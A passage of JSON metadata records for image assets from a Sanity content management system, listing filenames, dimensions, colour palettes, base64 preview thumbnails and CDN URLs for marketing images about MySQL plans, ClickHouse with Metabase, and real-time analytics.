":"805304e0763d2c3e12e488227616b6832339032f","size":358855,"uploadId":"Dz16u4cJ3pacimu9WAwvDmgOpnQi8WNm","url":"https://cdn.sanity.io/images/sczeoy4w/production/805304e0763d2c3e12e488227616b6832339032f-1567x844.png"} {"_createdAt":"2024-06-10T12:25:59Z","_id":"image-d57f2d3fa94f42672e8702cd84f4697474aa7ab3-1064x687-svg","_rev":"xsD01XOCJj97gYpL1H5jZL","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T12:25:59Z","assetId":"d57f2d3fa94f42672e8702cd84f4697474aa7ab3","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VMLW|wTd4.^+9F.T-pD%I:%200Z~RkRP-pm+pI%LWBR+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5487627365356622,"height":687,"width":1064},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEHUlEQVQ4jU3Sa0xbZQDG8bdmXmLUKQszRgMmao1RWTZxDgduAwnRbQmbZheMYnAEENzYINsQGA1MRGCGlcvYkMu4IzDaRsplhMtYCy13WEsr9BTactqenst73nPaQqHUoF/88P/6+/DkASdOZ+3+5LNLwkNHUj8KjUgLDg1PCz50JDX4cHha0KVrdwJ0K6Y9kGf9HA6HH6Qcfptu9OKJU1n+b38QF/lhcOLFAyHJV/cdTEp9N+jCiVcDz/mD6jr5MdHNhuLr2TWSjOwa2c85tdJrWdWy3PzGtt7u8dvMGina4F03XC73DYZz5TCcK6GpbTDyaNTV9OizeSPfxBXrvor5ZSw0Ii1zb8C5QKBdxBJVE9oppXJhU6mc31Qo5jdHH89tqtWadeMsBulZE+G20nbEOe0GG3TocaiYWsASC39vSxFX985VNA75KusH9Dk3G358462YVwCEMJll2RkeIQ/Pshs0SW7QFOXhIPQwmNVDqA2bnMnugZDd0KwSnlnM/sSIk/Emi+3k7BLeO6a1OLVG+2OT2f7FhfjcpwBNM8cRQmKX0yl18byUpigpQ9MSl5PvYgm6izDiXchBSziE5BYrMbiyZq+3EY7TEMLPrQRZsrpmlxMkXczz/H6P2wTAA8nIe1U13efLK2WXxRWSK7fLH1xuah2I1+qMx1meC6ER+zHiuDCGJH8g1vACArdmWi34t6tGSwJusmRQFlMstJoP2K3W3a3SRwDcb+yLzC9sKc0S1fVdz67uzxLV9ZdXShsVyvlYHjJ7fT4fsJtte8yrtu9WMPy+edVWasFMaas6fS6u14gZ/UTKhn44eHt5+CVkWgZgUYclTc3oZ1RqrXdcpfFOTC5ua7QYwnF7nZNYe38LAMHy/KJQp7fe0uisOq0OHzQ8WUqiZ4a+5+d7250zUuXGbFeJd0G236dqFQCGYRIhhCqWZTmEEOI4jmdZRLMM08itGff5vga7RvsfHfyrZ7KhXaK2tnaMj3X9ORRL99ecWn9Y2rMuL6I83QUPvd2/Rfjqkv8Fw1mWzUEI3eM47i7HoSoImQqaphJoG/66r+2MoLqqUyjKq7+Smn63LiGlrOCni6VHVzruRKKOoiauWaRx1mc0u2vTD7tEUQJAkuTLDMMEQgiFO9E0IyRJ8h2Hg3zN5qCfKY9LAeKy9hfEJS3BZSXNZ279WhNVmFEU8PfIcBimmmgxjKkNBqWqE1Mow4ZrKwRgZ/T/t7W1BVxuN/D4fEAS6gcMTh9wO2y7bCumAPMSFoLr9UE2hdx/oGc0Siaf6u2QTZNtkqn+lk51RKbo3n/gDuL1esH29jZYX18HFEXtHB7wLALLk3OAMi4JzIuLTy/NLjyPTU4/Oz3Y95wo749jCSnihvOxRdPRZ/Prv4wWffqmMEbwD5n9xdJXbuD6AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303565","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#962604","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#adb4c6","foreground":"#000","population":1.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb4c6","foreground":"#000","population":1.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0e2fa","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e6e97","foreground":"#fff","population":0.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2550e","foreground":"#fff","population":0.68,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Personalized Communcations.svg","path":"images/sczeoy4w/production/d57f2d3fa94f42672e8702cd84f4697474aa7ab3-1064x687.svg","sha1hash":"d57f2d3fa94f42672e8702cd84f4697474aa7ab3","size":214485,"uploadId":"qqXbbjmYeqBjiCTixQ2E4ZvoHLMR8wMH","url":"https://cdn.sanity.io/images/sczeoy4w/production/d57f2d3fa94f42672e8702cd84f4697474aa7ab3-1064x687.svg"} {"_createdAt":"2024-08-08T19:47:34Z","_id":"image-454a86cd4fcae5c986e558faa3d61375ebe3e572-1605x746-png","_rev":"msvVOwV0ly404Y5JqBzn8B","_type":"sanity.imageAsset","_updatedAt":"2024-08-08T19:47:34Z","assetId":"454a86cd4fcae5c986e558faa3d61375ebe3e572","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M17UT0rS0s%89Xn3IoNh-jxt00s~~09Qxv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1514745308310994,"height":746,"width":1605},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAACToAAAk6AGCYwUcAAACPUlEQVQokTWS2U4TYQBG+xCaKEvTjXaGmb/TznTWlnamEFFZ1Jh4ZaKGCwSpQlkGukELyFa2FnjdY4B4912d5OQ7kRfj34jJK6TUGiOJn7yMLhPN/EYxdlGMBjF5m1fJOq9T2yRFC1nvkcx2GcvsE5V7SPopwrlCKlwRExdERhJLZLQaqlEnLtcYSa6SmNwgbzXR7TYpsctoepuxTMiE1kYpdJnI9YhOdokph0jGOcK9RrauSWiXROLyMsLcQPd2UPRNEso6GbHJlN2g4rSQtT1iaoOU1qDkb/HpwwZuuUkqd0TaOCPrXWFUhmilIZI1ICLna5ilHVy/iVlqIMwQoYdUvCa+10YYTTL6PorZ5MvnVZq1HyzO11HtE/JT19jVAcU3D1jVB1Tvjoiw1vGCBlMzHYrVNo7fwa4cEMwc4U8fo3tdsm6PrHvA27mQ71+3mJ7tYPqXlGbvcaaHONU7zOD+Gaiaf3D9PYrVFq7fwq50cMr7LMxfsDjXx/C6CKeL5h3hVE8I3vVxggvs6s0T0A4GWMEQo3KH6g6fle1y+AR8VM5aITm7wcL7Mz7OXZC3O0hGB8XuYUyd4lQvMcp9NK+PXr7BCga4M/eY/5WTygo5u06hGCIKW6SzddRCiOd3KQaHCLNNMvt4Shu50EPYf1GsE9L6CRnjDNW5JFe6RXgDJOuWyEhy6anDxOQa0fQvxtNrpNRNpHyIlN9jQtsjKu0wmt5hLPO4W0TlxwYPiE72iKnHxMUpcXFOTPT5ByBOU6LyWxTCAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434987","foreground":"#fff","population":2.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":6.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1f2c8d","foreground":"#fff","population":6.62,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bab1c7","foreground":"#000","population":6.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8996d5","foreground":"#000","population":1.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6970a6","foreground":"#fff","population":3.85,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f2c8d","foreground":"#fff","population":6.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"real-time analytics.PNG","path":"images/sczeoy4w/production/454a86cd4fcae5c986e558faa3d61375ebe3e572-1605x746.png","sha1hash":"454a86cd4fcae5c986e558faa3d61375ebe3e572","size":182420,"uploadId":"d64bDuxczAZ0zyXQYVXv49uTQOesq8Qm","url":"https://cdn.sanity.io/images/sczeoy4w/production/454a86cd4fcae5c986e558faa3d61375ebe3e572-1605x746.png"} {"_createdAt":"2023-04-03T10:37:17Z","_id":"image-e0111dad0b9401814b62ba53bd3b8a09e074f0ca-1080x608-gif","_rev":"IfootSjA4c56MZIbwrvhTQ","_type":"sanity.imageAsset","_updatedAt":"2023-04-03T10:37:17Z","assetId":"e0111dad0b9401814b62ba53bd3b8a09e074f0ca","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7763157894736843,"height":608,"width":1080},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQCAwUI/8QAIRAAAQMEAQUAAAAAAAAAAAAAAQAEBQIDESESFTJicnP/xAAVAQEBAAAAAAAAAAAAAAAAAAABAv/EABcRAQEBAQAAAAAAAAAAAAAAABEAASH/2gAMAwEAAhEDEQA/AOkzCRtNB5Mm+fQKNuIiydx7Yn5hal7sVDcA5SNL0ljAxJJPT22T4BCfFI3pCXZv/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393b44","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042b1c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4cfd7","foreground":"#000","population":2.01,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4cfd7","foreground":"#000","population":2.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1d79b","foreground":"#000","population":0.33,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#896461","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#548bc0","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"clickhouse-metabase-query2.gif","path":"images/sczeoy4w/production/e0111dad0b9401814b62ba53bd3b8a09e074f0ca-1080x608.gif","sha1hash":"e0111dad0b9401814b62ba53bd3b8a09e074f0ca","size":15623310,"uploadId":"uiPcdn6CKTGXAnLuxn23flcQ8e1aHxua","url":"https://cdn.sanity.io/images/sczeoy4w/production/e0111dad0b9401814b62ba53bd3b8a09e074f0ca-1080x608.gif"} {"_createdAt":"2023-04-03T10:37:23Z","_id":"image-016d40990f85dad75b71189cbb81b5860ad33643-1080x608-gif","_rev":"IfootSjA4c56MZIbwrving","_type":"sanity.imageAsset","_updatedAt":"2023-04-03T10:37:23Z","assetId":"016d40990f85dad75b71189cbb81b5860ad33643","extension":"gif","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7763157894736843,"height":608,"width":1080},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIECP/EAB4QAAICAQUBAAAAAAAAAAAAAAABAiESAwQRIjFx/8QAFAEBAAAAAAAAAAAAAAAAAAAAAf/EABgRAQADAQAAAAAAAAAAAAAAAAABESEx/9oADAMBAAIRAxEAPwDU0ssOvpPtNSc5TttJ3yilXFfASG8E9MAkm06AC//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303434","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#17486c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aec6dc","foreground":"#000","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aec6dc","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cccfc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c7cae","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3c94d4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"clickhouse-metabase-start.gif","path":"images/sczeoy4w/production/016d40990f85dad75b71189cbb81b5860ad33643-1080x608.gif","sha1hash":"016d40990f85dad75b71189cbb81b5860ad33643","size":19912021,"uploadId":"Ianw63Mb6VhImqqfaFV6mkHkAy2FSOzh","url":"https://cdn.sanity.io/images/sczeoy4w/production/016d40990f85dad75b71189cbb81b5860ad33643-1080x608.gif"} {"_createdAt":"2023-03-30T08:44:42Z","_id":"image-dd995cfe8704456aa7a27cdad3e531ca79534c08-2500x1850-png","_rev":"M4dczs5irsEQMrhVZk77vw","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T08:44:42Z","assetId":"dd995cfe8704456aa7a27cdad3e531ca79534c08","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VgOyx0Fe9FOsIAysr?xZxaV@8^Rjt,s.XSXno0aKaxV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3513513513513513,"height":1850,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABcSAAAXEgFnn9JSAAAEUElEQVQ4jT2Pa1BUZRjHzxkncbIPy0B96OLYZbSmdWwcpQ+oTX5g6aKIIEaw0JKbiggIWODo0AwKMmMK2owZXipbZZe4TBE3U6xMB4nLHnZh02wg2RDYc79yzvu+T7Nr0zPzm///fT783/9DzbPqotl5eenk3w/jg+N3Exh/MIHxBxIZfzBxjAn+r8HARAIzMrJ0JvzgSZ7j3uR53iVJsts0TTfGOAsh9LKqKIsoWSOL2zq6l+0pqtjk2Jz1/kZHRv5Gx/b/yMzfkJKR94Zje55ja57z7QxXZnVtg2t0bPw8y3EDqqoOW5Y1jDHusCy0TZbkxdQChrjD1UfXpGXk1L2b4bq5Jad4JM1ZNpTm3D+8JXf/UJSteeVDO9wHhz4oqRn49Pi5kZsDo7McLyDTNAnGGDDGdy0LfSTJyhJKMSCuvKIyuay88soXTZek9q6fSUfvLdza9WuMqO+8NoC7+3/Hfb+M4JuDQXx/6h+iKGo0jBBCABvaJHoQ+sQ8VZBICTKKq6w6tP7kyQbv8PCIIsoq8JJKZiM8sJwAsqKBbpiwYKIYUR8NU1WNRBsihAFHwiK69tXXaO/KNZQgWXFVBw+vbzx12sswjGIYBii6QQRJJpqiEtMwCIqehhABQghCKBYmyzLRNS36BjLzp4Xb63/CO59NiQVWVh1Kbmg81ez3M4qu66BrOpFFGXRFBVM3YixoBui6AaqqwdxcBKamwhAOz5IIK4J0bwwveI/0453PpFKSSh7bU1i09sSJk5cYhpEN3QBDVYnIciALIhiqBpa+ENPoJ/PzLIz670JXz23S2XWbdPXegVvtHWj6dNl1XPB0KgUAdIoj9ZX6+vomv5+RHgVqRIhwRGT5WEvLWIhhaDrwvAhjgfvQ3TsA3/94m/harkLbZ/UoWPFOP8q1pVI9Pb3U6tWrXzp27NiZQCAoWJYVPZEoLE8UXgBT0wmxLACEY2DTAlVWgYsIwEZE8sdYAG4cr0Djzheu43TKQbGsSK1bl7Sipqbm7J3BQZnjOGBn58nDqTCZm54h3FyECCxPRFaINiYiJxCJE4jMC0QWJHIv4CfXa3ehQGZiP9pGv0VdueKNz811vl5aWtp0/sKFcFfnD2pPe4vZ3eKBnu8uQ19rM/S1eeFqmzemMd/qfbRv9UHruc/BW5JOBt9b/ttD98os6uyXTc/tLytPdrkKSoqK9jUeObDbe/FA+oSvPFX2lTk0X2mK6it1aL4Sh+bb94iWIofWsteh+QpT1Wb3Jq0z9zVl2LnixnhRcg51tLbu8eLiksTs7Jxlm7ekvXjGad8wuOepQxOF8d+EdtsuT7htnokPbZ6Qy+aZyLd5Qk6bJ5Rj84SybZ5Qls0TyrR5/sqM/3Z6R0L1ZN7yJIrjRErEQK1NSqKiA3VxS6CKXgYf069COb0KSmk77KPtUEjbYRdtBzdthwLaDvm0HXJpO2RTqyCTskM69Txspp74F6AkSYnfnWMkAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#333954","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#601d04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85306","foreground":"#fff","population":4.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2bea6","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9c64","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#77748a","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85306","foreground":"#fff","population":4.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Free_MySQL_plan_page_hero_2.png","path":"images/sczeoy4w/production/dd995cfe8704456aa7a27cdad3e531ca79534c08-2500x1850.png","sha1hash":"dd995cfe8704456aa7a27cdad3e531ca79534c08","size":403803,"uploadId":"pvzGmQIGprYovjIafxLWjFg9G9DiTgLb","url":"https://cdn.sanity.io/images/sczeoy4w/production/dd995cfe8704456aa7a27cdad3e531ca79534c08-2500x1850.png"} {"_createdAt":"2023-03-30T08:05:35Z","_id":"image-926157887d684393371d2984c866845a3f0cd399-2500x2500-png","_rev":"cjTuTLzi2o5xCqfj9IBq6S","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T08:05:35Z","assetId":"926157887d684393371d2984c866845a3f0cd399","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eQLzaKBB8_TJDiysr?xZxaV@00v~%#r?x]Q,X8M{NGfj5QxuVsRjs:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAABcRAAAXEQHKJvM/AAAFP0lEQVQ4jZWSe0zVZRjHnxMWJ6x5NjN1auVEW4KrrbkW2qaVynLFQgWU8CC3o2CgHC6iHgJEIFG52HTM5sxMpHSZza0jIdlcJc64CILI4Xrkcs7hXH/38/6epx0k/mzrfffZ932+e57vnj9esDk4sE/yYHME4J5qoJ7kp3y7I6ABnwOHU4SJCTsMD4/AwMAAjI6OgiiKgIigqir4fBxAb98IEBH8nxPoHx8fm0IUxal6JnDc5g0YzxBR0LT+F4HeIL8iz3E4HAtcLtdCSZIWMqbOY4yFCIII4PTIsx50WXTf1V9dUnK0MrTg8JEVBw6V/Mvy/IPFywsOH1leWFwRmpNvWnzl6rXXh4aH4ycnJ4u9Xm+ZoihlqqpmM79/Ned0zAJBpufqzl5YERefvHPdpujSiA3bKiM2xh6L2Bgb0Mp3N8QcW7Mx7tgHUYlffhS7p/hAcdWJu/fbbztdrjFRFO2MMYeKeNfP1J1ehYJBYhScl296Z3t8cl1qxoGBrIOV9n2mqomsQydtmYdO2rIOV9n2F9bY8ktPTxRWnhs/ff6araWtW/R4fcQYI0QklTGLX+DS+dbmEPDyGJybd3BtUdGRhus//8K3Puil1i4LtbT10L22HmrrslBn7xB1941Qj8VKfUNjNG53kiCIqKqqioiocu4nrPP2Uf/hda+A2+sPLjhoWltTU3u5o6PDJ0oycZKsujw+5DgeFVkJDCIFLtHUm+cF5DgOJUlCP2OkTgwK6o1TP6qG19bOBFbX1Da0t7dzgiASJ4jo8fhQ4HiUBREVUUJFktHvZygrCnq8Xpx0utDr9aEkK8Se9DL1anmzmrwoEjw+9lxuXkFEdXVNfWBDSZRIEkT0ebwkcDwpkkSKJAc84jmefB4fuYZHydH5GD3dFhQsVpJb/2Ls26JmNWVRJIgKBSUk6N86fvzE+fb2Dq8kSSTxAronneRxuUnkBfLLMimCRJyPI7d9klx/PyTXT7+h+2oTuq40kvPcOcZVpDaru+ZHTv3yiDVrVlRUVNR1dHR4ZgJtDgwMiz4OmSQTkxVSZJkkH0/C4Cjx97uJb+nCsZu/U/fxQmbNiGhmcSGRcOnSZVi1atWyioqKM52dXW6/4idFEJF3OJF3ulHhBURZQVT8M6iihIwTkAkSPuntpj8qM1lP7IJbGAWboLGxadb69e+vNJlMZ5uabnn7Lf1kefRYffTgIT5++Ejt7+1TB/r61cG+/hkdtEzTP6jeu3MbbxQm+tu3zmuWYmdvhgsXLs5PTTO8ZzDsri0vL2/9+syp4Yunyn31VV/Q5WkaqouooWqak0/5fkqL6ZuSbKpP/ZBadoT+OZj+9g6orf1qodGY+6Zenxil1ycmlRiiCn/IWN1ozggfMqeHWc2GsBFzWpjVnBpuNSeHWc1JYdabu8KtN/XhVnNC+Ig5fqX1Ttyy4a74pde79qyOhuKS0mdzc/KeT0lNmx0dveWFX9MWL7Vmzt5iz9Tut+/V5tj3BBvtBq3RnqI12pO0Rrtea7QnaI2OHVqjPU5rdMRojc5tIdnOmBfjxnYsCA1sCEUlpRC3PR4WL3kVqBc0VAYhVAhz6BDo6ADoKBd0lA06ygId7QUd7QYdpYKOkkBHCaCjrTCHPobZtB6C4EhpGWQbcyHNsBsSdyUBvERAxQBUAEB5AJQNQJkAlA5ABgBKBiA9AMUDUCwAbQGgTwBoEwC9AQBz586Fus1aiHh5DpgiQwBzATAHAI0AuA80+DloMB00aAANpoAGk0CDetDgZ6DB7aDBGNDgVtBgNAB+CvAP2MT7Zir9pMEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#674f35","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#052863","foreground":"#fff","population":1.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5605","foreground":"#fff","population":3.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4a4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3819a","foreground":"#000","population":0.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c97a5","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5605","foreground":"#fff","population":3.75,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Free_MySQL_plan_page_hero.png","path":"images/sczeoy4w/production/926157887d684393371d2984c866845a3f0cd399-2500x2500.png","sha1hash":"926157887d684393371d2984c866845a3f0cd399","size":403320,"uploadId":"3IhTdTUusuPB8DgrS8GoMtl53Vx4A3sq","url":"https://cdn.sanity.io/images/sczeoy4w/production/926157887d684393371d2984c866845a3f0cd399-2500x2500.png"} {"_createdAt":"2023-03-30T08:20:04Z","_id":"image-cdb33d8ff3a90246a14d2611f2986c8bba19b0ab-2500x1850-png","_rev":"M4dczs5irsEQMrhVZk5f4W","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T08:20:04Z","assetId":"cdb33d8ff3a90246a14d2611f2986c8bba19b0ab","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VgO{zFFe9FT0D%ysr?xZxaV@8^V@t,s.kWXno0aKaxRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3513513513513513,"height":1850,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAABcSAAAXEgFnn9JSAAAESElEQVQ4jT3PWUxUVxgH8HtjKqb2YQi0D12IXaJtOobGKH1AbeoDQxdFBLEUBjrUqYLsYAsGYxNUJGkFrYm1qF3sKDMImJSwFukCNRQB58LAuLTBBRGYu6/ce875mhkbT/LL972cf/4ftciqy+YX5ZUz9x5FB6ZuxTD+QAzjn4xl/IHYCSbwZAYmp2OY8fGVc7P3n+U57l2e512SJLtN03RjjDMQQq+rirKMkjWyvO1KV1x+YeUWx9aMjzc70nI3O3b+Lz13U1JazjuOnTmO7TnO99Nc6YeONrpuTEydYzluWFXVMcuyxjDGVywL7ZAleTm1hCHq4KEj61LSsuo+THMNbssqHk9xlo+mOMvGtmWXjYZtz6kY3eU+MPpJSe3wl1+dHR8cvjHP8QIyTZNgjAFjfMuy0GeSrKygFAOiKiqrEssrqi5923RBau/8nVzp+Qu3dv4ZEd47+odx18B13PvHOB4cCeB/7j4kiqKGwwghBLChzaD7wS/Mk3mxlCCjqKrqmo0NDY3esbFxRZRV4CWVzId4YDkBZEUD3TBhyUQR4T0cpqkaiTREGHBoVkT9P/yI961ZRwmSFVV94ODGEye/8TIMoxiGAYpuEEGSiaaoxDQMgiIfEQFCCEKIKKpGRFkmqqYREyHAc3cs3F7/K979YlIksKq6JrHxxMlmv59RdF0HXdOJLMqgKyqYuhGxpBmg6waoqgb8QghC92ZBfDhPdFYA6zaDkffwAN79QjIlqeSp/ILC9cePN1xgGEY2dAMMVSUiy4EsiGCoGlj6UmRKogz8IgsccxNCPUNE6BoiUu81kNvbkHGq7CrOez6ZAgA6yZH8Rn19fZPfz0iPAzUihDgisnykpWUsReiaDgovghy4A2LvNZA6B8n85R6YOV6HFvd/MICzbclUd3cPFR8f/9qxY8dOT04GBMuywicSheWJwgtgajohlgWAcAQxLUCyClaIByskkLmJCRj5uhLddr5yFadSDoplRWrDhoTVtbW1Z/4eGZE5jgN2fpE8ujtLFh7MEW4hRASWJyIrhBsTkRMe4wUiChK5Oekn/Uf3oMn02AG0g36PunTJG52d7Xy7tLS06dz587OdHb+o3e0tZleLB7ovX4Te1mbobfNCX5v3yexrDWuGvlYftJ49Bd6SVHL9o1VDj9xrMqgz3zW9VFZekehy5ZUUFhadOLx/r/f7/anTvopk2Vfu0HylSaqv1KH5Shyar+ixlkKH1rLPofkKktVm9xatI/stZcy5+repwsQs6sjRuqeLi0tiMzOz4rZuS3n1tNO+aST/uZrpguifgnttF6fdNs/0pzZP0GXzTOfaPEGnzRPMsnmCmTZPMMPmCabbPP+mR//8YFfMoZmcVQkUx4mUiIFan5BAhR/URa2AajoOPqffhAp6LZTSdiii7VBA22EPbQc3bYc82g65tB2yaTtkUmshnbJDKvUybKWe+Q8Vo0we8+JLXgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4748","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#742404","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f75606","foreground":"#fff","population":5.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c0c6","foreground":"#000","population":2.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc9c64","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a8a74","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f75606","foreground":"#fff","population":5.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Free_MySQL_plan_page_hero.png","path":"images/sczeoy4w/production/cdb33d8ff3a90246a14d2611f2986c8bba19b0ab-2500x1850.png","sha1hash":"cdb33d8ff3a90246a14d2611f2986c8bba19b0ab","size":403127,"uploadId":"ZuWCuoPmksTvoywBz198tBqKooztWmvO","url":"https://cdn.sanity.io/images/sczeoy4w/production/cdb33d8ff3a90246a14d2611f2986c8bba19b0ab-2500x1850.png"} 